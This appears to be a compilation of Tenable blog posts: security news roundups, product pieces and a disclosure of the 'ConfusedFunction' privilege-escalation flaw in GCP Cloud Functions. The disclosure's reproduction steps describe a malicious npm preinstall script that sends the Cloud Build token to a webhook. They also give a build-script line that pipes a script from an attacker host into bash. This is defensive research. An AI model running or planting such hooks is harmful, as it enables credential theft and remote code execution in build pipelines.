Tenable Blog

Check out a CISA-FBI advisory about North Korean cyber espionage on critical infrastructure orgs. Plus, what Europol found about the use of AI for cybercrime. Meanwhile, the risk concerns that healthcare leaders have about generative AI. And a poll on water plant cybersecurity. And much more!

Dive into six things that are top of mind for the week ending July 26.

North Korea is engaged in a global cyber espionage campaign targeting critical infrastructure organizations, especially those involved with the defense, aerospace and nuclear sectors.

That’s the warning issued this week by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the FBI and law enforcement agencies from the U.S., South Korea and the U.K.

CISA and the FBI recommend that all critical infrastructure organizations review the joint advisory, titled “North Korea Cyber Group Conducts Global Espionage Campaign to Advance Regime’s Military and Nuclear Programs,” and implement its mitigation recommendations.

Via a group called Andariel, North Korea is trying to steal confidential technical information in order to advance the goals of its military and nuclear programs. Andariel is focused on the U.S., South Korea, the U.K., Japan and India, although its cyber espionage scope is global.

The joint advisory details Andariel’s tactics, techniques and procedures, such as exploiting known vulnerabilities in web servers and deploying web shells to access sensitive information and applications.

Recommended mitigation strategies include:

• Patch vulnerabilities on a timely manner
• Protect web servers from web shells
• Monitor endpoints to detect malicious activity
• Boost authentication and remote access security

Andariel, also known as Onyx Sleet, initially carried out destructive attacks against U.S. and South Korean organizations but now focuses on cyber espionage and ransomware operations. It funds its activities via ransomware attacks against U.S. healthcare organizations.

To get more details, check out:

• CISA’s announcement “FBI, CISA, and Partners Release Advisory Highlighting North Korean Cyber Espionage Activity”
• The joint advisory “North Korea Cyber Group Conducts Global Espionage Campaign to Advance Regime’s Military and Nuclear Programs.”

For more information about cyberthreats from North Korea:

• “Exclusive: UN experts investigate 58 cyberattacks worth $3 bln by North Korea” (Reuters)
• “U.S. charges North Korean man with cyberattacks on NASA” (Washington Post)
• “North Korea hacking teams hack South Korea defence contractors” (Reuters)
• “North Korea hacked South Korea chip equipment makers, Seoul says” (BBC)

Cybercrime in the European Union grew steadily last year, helped in part by criminals’ growing use of artificial intelligence (AI), according to Europol’s “Internet Organised Crime Threat Assessment (IOCTA) 2024” report.

“Cybercriminals are keen to leverage AI, which is already becoming a common component in their toolbox and is very likely to see even wider application,” reads the report, which was released this week.

Not only are cybercrooks abusing legitimate large language models (LLMs), but they have access to a growing number of malicious LLMs designed specifically for cybercriminal activities, such as phishing.

“There is increased marketing of AI tools and services on the dark web,” the report reads.

To get more details, read the “Internet Organised Crime Threat Assessment (IOCTA) 2024” report.

For more information about the use of AI for cyberattacks:

• “FBI Warns of Increasing Threat of Cyber Criminals Utilizing Artificial Intelligence” (FBI)
• “Cybercriminals are creating their own AI chatbots to support hacking and scam users” (The Conversation)
• “AI advances risk facilitating cyber crime, top US officials say” (Reuters)
• “Cyber Criminals Are Getting Faster--and Generative AI Could Make Their Work Easier” (Inc)

During our recent webinar “Safeguarding Your Water Utility,” we took the opportunity to poll attendees about their strategies for protecting these critical infrastructure facilities from cyberattacks. Check out what they said about their biggest challenges and concerns.

(24 webinar attendees polled by Tenable, July 2024)

(18 webinar attendees polled by Tenable, July 2024)

(24 webinar attendees polled by Tenable, July 2024)

Want to learn more about cybersecurity for water utilities? Watch the on-demand webinar “Safeguarding Your Water Utility,” which covers water-sector cyberthreats, regulation, legislation, funding opportunities, best practices for cyber resilience and more.

For more information about the cybersecurity of water and wastewater plants:

• “Shoring Up Water Security: Industry Leaders Testify Before Congress” (Tenable)
• “EPA Cybersecurity for the Water Sector” (Environmental Protection Agency)
• “US officials find weak security practices at water plants breached by pro-Russia hackers” (CNN)
• “More than 70% of surveyed water systems failed to meet EPA cyber standards” (NextGov)

VIDEO

Tenable Homeland Security Testimony 2024: CISA funding for OT security and water sector

Concerns about privacy, information accuracy, regulation compliance, biased analysis and other risks ranked as the top challenge healthcare organizations face when considering the adoption of generative AI.

That’s according to the report “Generative AI in healthcare: Adoption trends and what’s next” from McKinsey, which surveyed 100 leaders in payer, provider and healthcare services and technology (HST) organizations.

“Risk concerns and considerations top the list of scale-up challenges faced by surveyed leaders, regardless of whether they work at a payer, provider, or HST company,” reads the report.

Fueling risk concerns are generative AI’s lack of a track record, its investment requirements and uncertainty regarding regulations.

To reap the benefits generative AI promises without running afoul of regulations or compromising safety, healthcare organizations need to establish “governance processes, frameworks and guardrails” to proactively address and mitigate risks, according to McKinsey.

For more information about AI risk and opportunity in healthcare:

• “Artificial intelligence and cybersecurity in healthcare” (International Hospital Federation)
• “Evaluating the Impact of AI in Healthcare Cybersecurity” (American Hospital Association)
• “How the Executive Order on AI Will Impact Healthcare Cybersecurity” (TechTarget)
• “AI, deepfakes and other cybersecurity threats facing hospitals” (Chief Healthcare Executive)

Check out some thoughts from Tenable’s CEO and CSO about last week’s unprecedented IT outage, which was caused by a faulty software update. 

In these interviews with CNBC and CNN, Tenable CEO Amit Yoran explains why organizations should focus on the diversity of their IT systems amidst the fallout from the massive outage. 

You can also catch more comments from Yoran in the Wall Street Journal article “Blue Screens Everywhere Are Latest Tech Woe for Microsoft.”

Meanwhile, in his blog “Tenable’s Software Update Process Protects Customers’ Business Continuity with a Safe, Do-No-Harm Design,” Tenable CSO Robert Huber outlines how our comprehensive approach to the software development lifecycle (SDLC) allows us to produce extremely high-quality software and protect our customers’ business operations.

The U.S. Department of Health and Human Services (HHS) this week rolled out a reorganization aimed at improving tech operations, including cybersecurity, data management and AI.

The revamping involves consolidating under two HHS groups all the tech functions that until now have been handled by three groups. 

One of the new consolidated groups will establish the Office of the Chief Technology Officer and reinstitute the CTO role. The CTO will oversee data and AI strategy and policy. 

Directly reporting to the CTO will be the Chief AI Officer, the Chief Data Officer and a new Office of Digital Services.

“Cybersecurity, data, and AI are some of the most pressing issues facing the healthcare space today,” HHS Secretary Xavier Becerra said in a statement.

Responsibilities of the Chief AI Officer include:

• Setting AI policy and strategy
• Implementing governance, policy and risk management for AI use
• Support safe and appropriate AI use

Organizations that have used Google Cloud Platform’s Cloud Functions – a serverless execution environment – could be impacted by a privilege escalation vulnerability discovered by Tenable and dubbed as “ConfusedFunction.” Read on to learn all about the vulnerability and what your organization needs to do to protect itself.

Tenable Research has discovered a vulnerability in Google Cloud Platform involving its Cloud Functions serverless compute service and its Cloud Build CI/CD pipeline service.

Specifically, we discovered that when a GCP user creates or updates a Cloud Function, a multi-step backend process is triggered. This process, among other things, attaches a default Cloud Build service account to the Cloud Build instance that is created as part of the function’s deployment. This process happens in the background and isn’t something that ordinary users would be aware of.

This default Cloud Build service account gives the user excessive permissions. An attacker who gains access to create or update a Cloud Function can take advantage of the function’s deployment process to escalate privileges to the default Cloud Build service account.

The attacker could leverage the high privileges of the default Cloud Build service account in other GCP services that are created when a Cloud Function is created or updated, including Cloud Storage, and Artifact Registry or Container Registry.

After Tenable reported the vulnerability to GCP, GCP confirmed it and remediated ConfusedFunction to some extent for Cloud Build accounts created after mid-June 2024. However, remediation efforts did not address existing Cloud Build instances.

The ConfusedFunction vulnerability highlights the problematic scenarios that may arise due to software complexity and inter-service communication in a cloud provider's services. 

Specifically, to support backward compatibility, GCP has not changed the privileges from Cloud Build service accounts created before the fix was implemented. This means that the vulnerability is still affecting existing instances.

It’s also worth mentioning that while the GCP fix has reduced the severity of the problem for future deployments, it didn’t completely eliminate it. That’s because the deployment of a Cloud Function still triggers the creation of the aforementioned GCP services. As a result, users must still assign minimum but still relatively broad permissions to the Cloud Build service account as part of a function’s deployment.

So if you use Cloud Functions, we highly recommend monitoring and taking preventive action in this scenario, since attackers could still use it as a tactic, technique and procedure (TTP).

We want to thank Google Cloud for its cooperation and quick response.

For every cloud function using the legacy Cloud Build service account, replace it with a least-privilege service account. More details on how Tenable can help can be found at the end of this blog.

Cloud Functions in GCP are event-triggered, serverless functions. They automatically scale and execute code in response to specific events like HTTP requests or data changes. The first generation offered basic event handling, while the second generation improved language options, runtime customization and overall flexibility for more complex applications.

When creating a new Cloud Function or updating an existing one, GCP initiates a deployment process behind the scenes. The vulnerability affects both first- and second-generation Cloud Functions. We will focus our description of the vulnerability on the first gen deployment process as it is less complicated than that of the second gen, which includes additional GCP services.

Following the Cloud Function deployment trigger, a service agent saves the Cloud Function’s source code to a Cloud Storage bucket, and a Cloud Build instance orchestrates the function’s deployment. It does so by building the Cloud Function code into a container image and pushing the image to a Container Registry or an Artifact Registry.

But how does this Cloud Build instance perform privileged actions within your Google Cloud project?

Tenable Research noticed that the Cloud Build instance that GCP creates for the Cloud Function deployment has the default Cloud Build service account attached to it. This service account comes along with some interesting permissions. This attachment process is hidden behind the scenes, just like the deployment process initiation is. The only way a user can change the service account of the Cloud Build function deployment instance is by editing it after it has already been created. 

An important note: As you would expect, the only permissions a user needs to be able to create or update a Cloud Function are function permissions, but the Cloud Build instance, Cloud Storage bucket and Artifact Registry image in the user's account – all of which GCP creates for orchestration needs – require additional privileges.

GCP creates these background services through the use of service agents and the default Cloud Build service account. In terms of identity and access management (IAM), a user who has access to Cloud Functions should not have IAM permissions to the services included in the function’s orchestration.

While inspecting the Cloud Build instance created when Tenable Research deployed the function, we looked for a sink – potentially dangerous endpoints where injected malicious data can lead to adverse effects, such as code execution – controlled by user input or any other controllable source that would enable code to run in the Cloud Build instance and escalate privileges from Cloud Function permissions to the default Cloud Build service account’s permissions.

To this end, we encountered the following "npm install" command in the Cloud Build instance logs correlated to our node.js function:

Cloud Build installs the function's dependencies, which we can control with our function permissions. Looks like a perfect candidate for privilege escalation!

We can now create a new Cloud Function or edit an existing one, set our “malicious” dependency in the function's dependencies file and let the deployment do its job.

Here’s package.json example in a node.js function:

The deployment process will start, and the Cloud Build instance correlated to our function deployment will run its build commands, including the "npm install" command that will install our malicious dependency. This process works the same and affects all of the Cloud Functions' runtime environments.

Our goal was to run code on the Cloud Build instance. We can do that using a preinstall script in our malicious dependency that will force the Cloud Build instance to run our code. Here’s our malicious dependency example:

This code will then extract the default Cloud Build service account token, which GCP automatically attached, from the metadata of the Cloud Build instance:

Finally, we can use this token to impersonate the identity of the default Cloud Build service account and escalate our privileges from Cloud Function to the permissions of the service account.

Steps to reproducing this technique with a Node.js function runtime as an example:

1. Run npm init.
2. A package will be created in your current folder. Change the package.json code to the following:

1. Run npm publish --scope public. (Please note that this will result in the package being published to the public npm registry.)
2. Create a new Cloud Function or update an existing one with an identity that has function permissions.
3. Pick a Node.js runtime and edit the package.json with your malicious package:

1. Deploy the Cloud Function. The Cloud Build will run, your malicious package will be installed, and the preinstall script of the malicious package will exfiltrate the GCP token of the default Cloud Build service account from the metadata of the Cloud Build instance to your webhook.

Later in the research, we found more ways to leak the default Cloud Build service account token in the function deployment process. One of them is through the npm build start script.

As a part of the build process, the Cloud Build instance uses build scripts.

The problematic scenario here is similar to ConfusedFunction: Cloud Build scripts are controlled through the source code of the Cloud Function.

Identities with permission to update or create a function can run code in the build process of Cloud Build by inputting malicious code in the start build script.

From there, the exploitation process is the same. Attackers can inject the malicious build script in the package.json/requirements.txt of the function (depending on the runtime environment of the Cloud Function).

The default Cloud Build service account can be abused, and its token can be exfiltrated by accessing the metadata of the Cloud Build instance with the code ran by the malicious build script.

1. Change the package.json to the following and host your malicious script/reverse shell in shell.sh: { "dependencies": { "@google-cloud/functions-framework": "^3.0.0" }, "scripts": { "gcp-build": "curl -s http://attackerserver/shell.sh | bash" } }
2. Deploy the function.

In response to the disclosure of the identified vulnerabilities, GCP deployed solutions to enhance the security of Google Cloud Functions and Cloud Build service accounts in general. 

In mid-June, GCP added an option in Cloud Functions that involves using a custom service account for the Cloud Build instance deployed as part of the function deployment process. This service account should be tailored to the specific requirements of the Cloud Functions deployment. This form of deployment is more secure.

Before the fix, the customer didn’t have visibility and control over the default Cloud Build service account, as it was attached automatically to the Cloud Build instance as part of the function deployment process. 

More details about the fix can be found in this recent update to the GCP documentation.

Google Cloud deployed another update for Cloud Build over the months. of May and June, as an additional response to the ConfusedFunction finding. This update changed the default behavior of Cloud Build and of the default Cloud Build service account. In late June, additional organization policies were released to allow organizations full control over which service account Cloud Build uses by default.

These are the changes for new and existing projects that enable the Cloud Build API release deployed over the months of May and June 2024:

• Existing Cloud Build service accounts are referred to from now on as legacy Cloud Build service accounts.
• Projects use the Compute Engine service account by default for directly submitted builds.
• Projects have to explicitly specify a service account when you create a new trigger.
• The behavior for existing projects that enable the Cloud Build API before the changes were introduced remain unchanged by default.
• For organizations, you can adjust the organization policies to control which service account Cloud Build uses by default.

More information on the new organization policies introduced by Google Cloud and the updates can be found here.

By adopting these fixes, you can systematically enhance the security posture of your Google Cloud environment.

Cloud providers use their core services as the foundation of more popular customer-facing offerings, so one click in the console can create many different resources in the account in the background that you may not be aware of. In the ConfusedFunction vulnerability, this design pattern was the root cause of this vulnerability.

Software complexity and inter-service communication make it difficult to protect and secure modern applications. As more and more services are included in the process, vulnerabilities and misconfigurations are likely to occur.

In addition, these types of vulnerabilities, and common misconfigurations based on the same concepts, also tend to confuse customers with regards to where they sit in the shared responsibility model. Even though those resources were created by the cloud provider, their security is the customer’s responsibility because these resources are in the customer’s account.

In this post, we showed a technique for abusing the permissions of the Cloud Function deployment to elevate privileges. By sharing our process, we hope to educate the security community regarding the complexity of Cloud Function internal workings and the many nuances of IAM risk. 

The Tenable Cloud Security team will launch a feature to help customers eliminate the risks described in this blog post in August 2024. The feature will alert customers on excessive IAM permissions and the use of the default Cloud Build service account, while considering the use and risks of Cloud Functions.

Due to the complexity of cloud infrastructure, IAM misconfigurations are inevitable and, as we saw in this post, can pose a huge risk. The Tenable Cloud Security CNAPP solution can help by identifying exactly which resources an identity can access or, conversely, how a resource is exposed including risks such as privilege escalation, and automatically generate least-privilege policies that eliminate the risky permissions. 

Feel free to contact Tenable Research with any questions or concerns you have about cloud security.

With the unprecedented tech outages experienced by so many of our customers over the last week, we recognize the need for deeper understanding of our software development processes and how they support global business continuity. In this blog post, we’ll outline how Tenable’s comprehensive approach to the software development lifecycle (SDLC) allows us to produce extremely high-quality software and protect our customers’ business operations with a secure, do-no-harm approach. 

Tenable rigorously manages every step in the software development lifecycle (SDLC) – research, design, development, testing and release – which results in software that’s stable, tested, accurate and timely. 

Specifically, Tenable makes software-design choices that prioritize flexibility and give customers control over the deployment of our software releases and updates.

For example, customers can control when or if the Nessus Agent and its plugins are updated within their environment. Additionally, the Nessus Agent operates in the kernel’s “user space,” reducing the risk of operating system faults. 

Features such as these put the ultimate power in the hands of customer change-control programs and lower the risk of incidents, such as the one that caused the global IT outage last week.

Below we provide more details.

• Declarative plugin version control feature

Supporting our customers' change-control management processes, Tenable provides the flexibility to choose from multiple options for how the plugin content version is applied across agent deployments. This offers customers the control to validate and test Tenable plugins before performing an enterprise deployment. 

• Do-no-harm Nessus Agent design

The Tenable Nessus Agent is designed so that it executes solely in the user space and limits its interaction with the endpoint's kernel to standard system calls as provided by the operating system, such as event notification callbacks. 

As such, the Tenable Nessus Agent does not require any Tenable-developed components to reside inside the operating system kernel. This design is intentional in order to reduce catastrophic impacts to the endpoint's operating system. It also prevents the Tenable Agent from impacting an endpoint's ability to boot properly.

User-space applications do not have direct access to the kernel or hardware. Therefore, they cannot directly cause the types of failures that lead to a “blue screen of death” in a Windows system.

• Nessus Agent software version control features

Enabling our customers' enterprise change-control procedures is at the top of Tenable's mind. With Tenable Vulnerability Management and with Nessus Manager for Security Center integrations, we provide multiple options for customers to apply software version control for their Nessus agents. These options allow customers to test and validate the Nessus Agent before performing an enterprise deployment. Depending on their business needs, customers may choose to leverage this feature.

We hope this blog post has provided you with a clear idea of how Tenable strives to design and deliver software with the highest degree of security and quality, guided by our top priority – to keep our customers safe and protect their businesses.

Please contact us if you wish to get more information about our software development processes.

If you’re a bit puzzled by all the talk about cloud native application protection platforms (CNAPPs), worry not. Our new eBook “Empower Your Cloud: Mastering CNAPP Security” explains in plain English what CNAPP is, how it works and why it’ll help you secure your cloud environment confidently. Read on to check out the eBook’s main highlights.

As organizations move operations to the cloud, the need for robust security measures has never been more critical. Cloud native application protection platforms (CNAPPs) offer comprehensive solutions designed to tackle the myriad threats and vulnerabilities that accompany cloud infrastructures.

Tenable recently published an eBook — “Empower Your Cloud: Mastering CNAPP Security.” You can download it here. This post summarizes the key points. But read the book to get the full story.

Cloud security was built on a misleading concept: the shared responsibility model. On its surface, the “shared responsibility” merely outlines the individual security responsibilities of cloud providers and customers. It seems pretty straightforward and the model does provide a framework for understanding security responsibilities. But customer beware: It usually places the onus on you to implement and maintain robust security measures. 

In response to the rush to the cloud, a cottage industry of solutions have popped up that handle a tiny sliver of the cloud security challenge. The end result is product fatigue. In the age of limited resources, when your day job has you focused on threats like ransomware and trying to ensure compliance, there are only so many alerts and systems you can pay attention to. After a while it’s just all noise.

Amid that noise, the prevalence of cloud breaches underscores the urgency for more complete security measures. 

In Tenable's recent "Cloud Security Outlook" report, a staggering 95% of security professionals surveyed reported experiencing a cloud breach within an 18-month period, with an average of 3.6 breaches per respondent. These statistics highlight the pervasive nature of cloud security risks and the need for proactive measures to mitigate them.

(Source: Tenable's "Cloud Security Outlook" report, May 2024) 

Amid that noise, the prevalence of cloud breaches underscores the urgency for more complete security measures. 

CNAPP solutions replace that patchwork of siloed products that often cause more problems than they solve. Those products usually provide only partial coverage and often create overhead and friction with the products they’re supposed to work with. And, in today's multi-cloud landscape, organizations often work with multiple cloud providers to optimize services and avoid vendor lock-in. 

The complexity of securing the cloud is multiplied when it becomes plural: Clouds. Managing security across heterogeneous cloud infrastructures is a big challenge. Plus, traditional security tools provided by individual cloud vendors are often limited to their respective platforms, leading to fragmented security postures. 

A comprehensive CNAPP solution includes a wide variety of essential capabilities, including:

• Cloud security posture management (CSPM)
• Cloud infrastructure entitlement management (CIEM)
• Cloud workload protection (CWP)
• Kubernetes security posture management (KSPM)
• Infrastructure as code (IaC) scanning 
• Cloud detection and response (CDR) 
• Data security posture management (DSPM)

As you evaluate CNAPPs, make sure you cover your bases on three key components: Identity and access management to ensure “least privilege” access; vulnerability management to prioritize and remediate vulnerabilities based on their potential impact; and exposure management to gain visibility across cloud environments and mitigate risks that stem from the toxic combinations of vulnerabilities, misconfigurations, and excessive permissions.

CNAPPs benefit a wide range of stakeholders involved in cloud security, including security, DevOps, DevSecOps, IAM, and IT teams. A CNAPP also helps those disparate groups collaborate to reduce cloud environment risks.

Enterprises stand to gain a number of advantages, including enhanced visibility, consistent security posture, streamlined infrastructure health, minimal overhead, seamless integration, shift-left security and holistic security coverage. 

Check out this short video, in which a Tenable security engineer explains some CNAPP benefits experienced by Tenable customers.

To learn more about CNAPPs, read our new eBook “Empower Your Cloud: Mastering CNAPP Security.”

Using just-in-time controls to secure access to your SaaS applications will reduce your cloud attack surface by avoiding permanent access and enforcing least privilege.

By granting permissions on a time-limited, as-needed basis only, just-in-time (JIT) controls are an important security mechanism for protecting access to cloud resources. JIT access is becoming a popular cloud security practice, with enterprises applying it innovatively in real world scenarios.

It turns out that another excellent cloud use case for JIT has evolved. For easier security scaling, many organizations are using their identity provider’s groups function (IdP groups) to grant and manage access to software-as-a-service (SaaS) applications, such as those from Salesforce. By applying JIT to IdP groups, organizations can apply the best practice of role-based access management to their SaaS apps and ensure access is granted only as needed. Adopting this new use case is a simple next step for security teams already using JIT for cloud resources.

Specifically, by applying JIT to IdP groups you can create an access-request flow in which users request either one-off access or permissions elevation, and requests are evaluated or granted either automatically or by a designated approver. Access is limited to just hours and becomes process-driven, with the granted privileges revoked upon expiration. JIT prevents the risk posed by permanent access to SaaS applications by narrowing the window of opportunity for malicious use of compromised credentials and vulnerabilities.

Social engineering (including phishing), credentials compromise and malicious internal users are common beachheads for penetrating a cloud environment. Once bad actors gain access, excessive permissions such as permanent access - aka standing permissions - open your environment to compromise. Placing time-bound limits on permissions helps prevent exposure to such attack vectors. Using JIT to engineer temporary access for cloud resources and also for sensitive cloud applications not only makes your cloud environment more secure, it also enforces the least privilege practices required by compliance regulations. 

It’s important to note that the SaaS user is typically a business user. So using JIT to control access to sensitive SaaS applications extends security beyond development and IT users to the organization’s business environment. Security leaders have an organic opportunity to capitalize on existing use of JIT for cloud resources to drive adoption of JIT for SaaS apps – scaling security and improving their enterprise’s cloud security maturity.

For future proofing your JIT investment, make sure you consider a JIT access capability that supports your current cloud identity provider and others. You’ll want to evaluate JIT tooling that is part of a comprehensive cloud security solution, namely, a cloud native application protection platform (CNAPP) that includes strong capabilities for cloud identity entitlement management (CIEM) and data security posture management (DSPM). CIEM makes it easier to detect where you have the most significant identity risks that warrant mitigating using the JIT approach. DSPM helps you understand which resources are more sensitive than others. Overall, JIT implemented as part of a CNAPP provides insight into multi-cloud risk and context across your infrastructure, workloads, identities and data that is inherently lacking in standalone JIT tooling.

Be sure your JIT solution for cloud provides full reporting on access requests and denials, changes in eligibility and user activities during temporary access.

Here’s an example of how Tenable Cloud Security, our CNAPP solution, has implemented JIT for SaaS. The process is straightforward and takes just a few minutes. First, security personnel and/or system/applications administrators, working with the IdP groups function of their organization’s IdP, create an eligibility for the business application for which they want to enable temporary access. Next, any user in the organization seeking access to the business application uses a collaboration tool like Slack or Microsoft Teams, or Tenable’s cloud JIT portal, to submit a temporary access request. Approval is granted automatically or by the designated approvers, as specified within the eligibility. Automatic approvals are according to the permissions defined for the group or groups for which the user is eligible.

In a few clicks, security personnel or the relevant admin create an eligibility. This involves specifying the group that has permissions to the application, the principals (user or group) that can submit requests, maximum session duration and designated approvers. 

Tenable Cloud Security enables security teams, system admins and application admins, using the IdP group function of their identity provider such as Microsoft Entra ID, to define eligibilities to easily manage temporary access requests to SaaS applications.

In Slack, Microsoft Teams or the Tenable Cloud Security self-service JIT portal, users specify the desired permissions, access duration and start time, and provide a brief business justification.

Tenable Cloud Security enables an organization’s users, via Slack, Microsoft Teams or its self-service JIT portal, to request temporary access – access they don’t yet have at all or elevated access – to the desired application.

When temporary access is approved, the user can see, within their IdP, their assigned access to the requested application.

Nothing good lasts forever -- and that’s the raison d’etre of JIT. When the session expires, Tenable Cloud Security automatically revokes the user’s permissions. Depending on the case, the user will no longer have access to the application or access will be based on their original permissions. 

In short, Tenable Cloud Security’s JIT for cloud helps organizations protect both cloud resources and SaaS applications across AWS, Azure, Google Cloud Platform and Oracle – and seamlessly expand their familiar use of JIT to cover SaaS apps, as well. Tenable’s cloud JIT is AWS-validated for IAM Identity Center.

To learn more, check out our Tenable JIT for IdP recorded demo below – or request a live demo on Tenable Cloud Security overall or on Tenable CIEM and JIT in particular.

Using JIT Access for Sensitive SaaS Applications

Our new research paper gives you a roadmap for using Pimcore's features while preserving security.

Enterprises are using Pimcore, an open-source enterprise PHP solution, to streamline data management and experience management across devices. Our new research paper "Auditing Pimcore Enterprise Platform" examines the most common issues with Pimcore and details methods that can be used to find new vulnerabilities in the software.

Pimcore integrates various functionalities, including product information management (PIM), master data management (MDM), digital asset management (DAM), customer data platform (CDP), and digital experience management (DXP). Built on the PHP Symfony framework, Pimcore can be deployed on-premises or in the cloud as a platform-as-a-service (PaaS) component.

Our research paper provides an overview of the core functionalities and structure of Pimcore, highlighting how its modular design promotes code reusability and maintainability. It also delves into common misconfigurations and vulnerabilities, such as cross-site scripting (XSS) and SQL injections (SQLi), and offers practical recommendations on how to safeguard your Pimcore instance.

By reading this research, you will:

Understand core functionalities: Gain insights into the architecture of Pimcore and how it leverages the Symfony framework to provide a scalable and flexible solution.

Identify common vulnerabilities: Learn about the typical security issues found in Pimcore installations, including misconfigurations that can lead to significant security risks.

Learn best practices: Get expert advice on maintaining security, performing regular vulnerability scans, and ensuring your Pimcore stack is always up-to-date.

Our paper also discusses the impact of enabling debug mode, the risks associated with exposed administration panels, and the importance of a stringent Content Security Policy (CSP). We provide detailed methodologies for identifying and mitigating the risks and ensuring that your use of Pimcore remains secure.

Whether you are a developer, security professional, or IT manager, this paper will equip you with the knowledge to optimize and protect your Pimcore deployments.

Download the paper now to understand the full potential of Pimcore while maintaining your security posture.

Please read this important customer update about CrowdStrike's recent incident.

Saturday, July 20, 2024

As of 5:45 am ET this morning, we have implemented a fix for the CrowdStrike incident and are monitoring to ensure it resolved all associated issues.

###

Friday, July 19, 2024

12:21 pm ET Update

Following the recent CrowdStrike update, we are aware that some of our Tenable Identity Exposure customer platforms on Microsoft Azure have been affected. The incident does not prevent users from accessing their console and reviewing the results of the previous scan. Only the real-time monitoring is impacted. Similarly, new Identity Exposure data in Tenable One is not available.

We are working to quickly restore this service and will publish updates on our dedicated incident web portal.

In the meantime, we can confirm that all of our other Tenable solutions are not impacted and working as they should. 

###

Friday, July 19, 2024

10:15 am ET

Following the recent CrowdStrike update, we are aware that some of our Tenable Identity Exposure customer platforms on Microsoft Azure have been affected. The incident does not prevent users from accessing their console and reviewing the results of the previous scan. Only the real-time monitoring is impacted. Similarly, Identity Exposure data in Tenable One is not available.

We are working to quickly restore this service and will publish updates on our dedicated incident web portal.

In the meantime, we can confirm that all of our other Tenable solutions are not impacted and working as they should. 

CISA’s red team acted like a nation-state attacker in its assessment of a federal agency’s cybersecurity. Plus, the Cloud Security Alliance has given its cloud security guidance a major revamping. Meanwhile, a Google report puts a spotlight on insecure credentials. And the latest on open source security, CIS Benchmarks and much more!

Dive into six things that are top of mind for the week ending July 19.

A new, must-read report from the U.S. Cybersecurity and Infrastructure Security Agency (CISA) outlines how the agency’s red team probed a large federal agency’s network, quickly found a way in and stayed undetected for months.

The 29-page report details the so-called SilentShield assessment from CISA’s red team, explains what the agency’s security team should have done differently and offers concrete recommendations and best practices you might find worth reviewing.

Mimicking the modus operandi of a typical nation-state attacker, CISA’s red team exploited a known vulnerability on an unpatched web server, gaining access to the agency’s Solaris environment. Separately, the red team also breached the network’s Windows environment via a phishing attack. 

Once inside, the red team was able to exploit other weaknesses, such as unsecured admin credentials, to extend the scope of the breach, which went undetected for five months. At that point, CISA alerted the agency about the SilentShield operation.

CISA has authorization to conduct SilentShield assessments, whose purpose is to work with the impacted agency and help its security team strengthen its cyberdefenses.

Here’s a brief sampling of the assessed agency’s security weaknesses:

• Lack of sufficient prevention and detection controls, including an inadequate firewall between its perimeter and internal networks; and insufficient network segmentation
• Failure to effectively collect, retain and analyze logs, which hampered defensive analysts’ ability to gather necessary information
• Bureaucratic processes and siloed teams
• Reliance on flagging “known” indicators of compromise (IOCs) instead of using behavior-based detection
• Lack of familiarity with the identity and access management system (IAM), which wasn’t tested against credential-manipulation techniques nor were its anomalous-behavior alerts monitored

Recommendations include:

• Deploy internal and external firewalls
• Implement strong network segmentation
• Enroll all accounts in the IAM system, and make sure it’s not vulnerable to credential manipulation
• Centralize logging and use tool-agnostic detection

To get more details, read the report, titled “CISA Red Team’s Operations Against a Federal Civilian Executive Branch Organization Highlights the Necessity of Defense-in-Depth.”

For more information about the threat from nation-state cyberattackers:

• “What CISOs Need to Know About Nation-State Actors” (InformationWeek)
• “4 Ways to Defend Against Nation-State Attacks” (BankInfoSecurity)
• “Growing Nation-State Alliances Increase U.S. Cyber Risks” (Government Technology)
• “Nation-State Hackers Leverage Zero-Day Vulnerabilities to Penetrate MITRE Cybersecurity Research Network” (CPO Magazine)

The Cloud Security Alliance (CSA) has given a major makeover to its “Security Guidance for Critical Areas of Focus in Cloud Computing,” including adding new topics like artificial intelligence (AI), and boosting coverage of areas like data security and IAM.

The guide is aimed at helping organizations understand cloud computing components and cloud security best practices. Version 5, released this week, replaces version 4, which was published in 2017.

“We have completely revamped this updated 5th version to align with modern technologies and challenges,” reads the CSA blog “New Cloud Security Guidance from CSA.”

Here’s some of what’s new:

• Increased coverage of cloud workloads, application security, CI/CD, data security and DevSecOps
• New topics such as AI and zero trust
• Less emphasis on laws and regulations

The guide is organized into 12 sections, including:

• Cloud computing concepts and architectures
• Cloud governance and strategies
• Risk, audit and compliance
• IAM
• Cloud workload security
• Data security

For more information about cloud security, check out these Tenable resources:

• “Tag, You’re IT! Tagging Your Way to Cloud Security Excellence” (blog)
• “Leveraging CIEM to Secure Cloud Identities and Entitlements at Scale” (on-demand webinar)
• “Understanding Customer Managed Encryption Keys in AWS, Azure and GCP” (blog)
• “Secure Your Cloud-Native Applications” (on-demand webinar)
• “Cloud Workload Protection: The Key to Decreasing Cloud Security Risks” (blog)

When it comes to gaining an initial foothold in a cloud environment, attackers’ best friends are weak or simply non-existent credentials. That’s according to the latest “Google Cloud Threat Horizons Report,” which is based on data gathered during the first half of 2024.

Specifically, weak or no credentials accounted for 47.2% of initial-access vectors in cloud compromises observed by Google Cloud in customer environments.

(Source: Google Cloud Threat Horizons Report, July 2024)

Meanwhile, using the compromised system for cryptomining ranked as attackers’ top intrusion motivation (58.8%).

(Source: Google Cloud Threat Horizons Report, July 2024)

For more information about identity and access management security:

• “Poor Identity Hygiene at Root of Nation-State Attack Against Microsoft” (Tenable)
• “What is identity and access management? Guide to IAM” (TechTarget)
• “What is IAM? Identity and access management explained” (CSO)
• “Multifactor Authentication Is Not Enough to Protect Cloud Data” (Dark Reading)

As part of its efforts to help improve the security of open source software (OSS), CISA is crafting a framework and backing the development of an automated tool for assessing whether an OSS component is trustworthy.

“As work on both the framework and supporting tools continue to progress, we will improve our capability to assess OSS trustworthiness at scale,” reads CISA’s blog “Continued Progress Towards a Secure Open Source Ecosystem.”

The assessment framework will evaluate four aspects of the development of an OSS component:

• Its project, including the number of active contributors and unexpected ownership changes
• The product, including whether it contains known vulnerabilities or outdated dependencies
• Its protections, such as whether developer accounts require MFA
• Its policies, such as requirements for code reviews and vulnerability disclosures

“Taken together, the collected measurements can be grouped into these four categories to provide software users and choosers a consistent way to evaluate the trustworthiness of a particular OSS component,” wrote blog author Aeva Black, CISA’s Section Chief of Open Source Software Security.

To automate the framework’s measurement process and combine the measurement results, CISA is funding the development of an open source tool called Hipcheck, which is designed to “automatically assess and score software repositories for supply chain risk,” according to its Github page.

For more information about open source software security:

• “Establishing a security baseline for open source projects” (Help Net Security)
• “OWASP Top 10 Risks for Open Source Software” (OWASP)
